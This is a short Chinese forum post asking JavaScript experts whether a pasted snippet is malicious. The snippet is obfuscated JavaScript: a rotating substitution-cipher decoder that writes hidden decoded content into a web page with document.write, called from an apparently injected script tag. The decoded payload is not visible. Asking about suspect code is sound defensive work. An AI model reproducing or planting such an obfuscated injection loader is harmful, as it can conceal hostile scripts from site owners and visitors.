js高手帮忙分析一下这段代码的主要功能，是否有毒

gQ92="\$Q\=bQZK1",uN1="\$L\'\\\=QL1";.3905232,kU41=".8359799",
gQ92='\/p\ \!t\n\=\.\:\+H8\`S\,0U4n\|\_E\~Pma\>TY\}zg\[\?ewlkiGs\\1\"ucj\)Df\$J\#Ko96\ryOQ5Lx\-\
<\%\@\*r\'\{X\;MVBI\^d2ZAh\&C\(3\]vb7RqWFN',uN1='T\&O\>SC\$Ea\@1\n3h\=Wf\"0\[\`is58\*\.v4rDH\!\_\-k\}NJ\<IK\:\,
\^\{ewV\|Yct\+QLx\(2\#\\o\]g\)GU\;6Fq\/\ dM\~Xljb\?zPp\rmZABy\'u97Rn\%';
function lB71(yO99){"\$bKK\\ZZZ",l=yO99.length;'TSr\|W\}Om',w='';while(l--)
"\$LbfbZ\\\\",o=gQ92.indexOf(yO99.charAt(l)),'TaaWaq\}W',w=(o==-1?yO99.charAt(l):uN1.charAt(o))+w;"\$Z\'b\=\=bL",
gQ92=gQ92.substring(1)+gQ92.charAt(0),document.write(w);'TWa8qOOm'};lB71("G\~J\}Eh\#XI\:Fx7\:xj\,\^\:T\:\~J\}Eh\#\!Z\nmR\,
YYn\*\@hMRY\,qy\*P\@\@\?IEJjF\~j\;\?\#5\?\,4S7v7UjFx4\@G\{\~J\}Eh\#\!")//--></script>
<sCriPt LANGuAGE=JaVaSCRIpt>lB71
("s\n\=F\\hp\;6\]i\%\@\]\%\:0nd\+Y\+P\#z\~\&KntC\`\~4yN\+Y\~\-\+KLzTRP\)z\]\-\)NKTKL6LD\)z\=\+P\)y\<T\~NM\)\r\!4yn\(P\~\)n\
<t\|\<C\`jC\`ML\#R\(\)NKTDz\~K\)yns\~\(\-\;Pz\#0\,KK\&\"5X5X\~\(\-ST\#\+\#\,\)TN\)K\)\+P\)T\#L\(5X\^\+Mb5XO\|\|q5Xm5Xa5XO\|\|q\|m\|a8W\}8\|8\|\|4MOTd\
&\-ts5X\~\(\-tn\<\*C\`ML\#R\(\)NKTDz\~K\)yns\~4z\+\(\)\;Pz\#0\,KK\&\"5X5XDDDT\#ND\^A\rT\#L\(5X\#\+L5XSr\|T\,K\(\;D\~MK\,08\|\|\;\,\)\~\-\,K0\
|ts5X\~4z\+\(\)tn\<\*C\`kC\`sX\n\=F\\hpt")</script>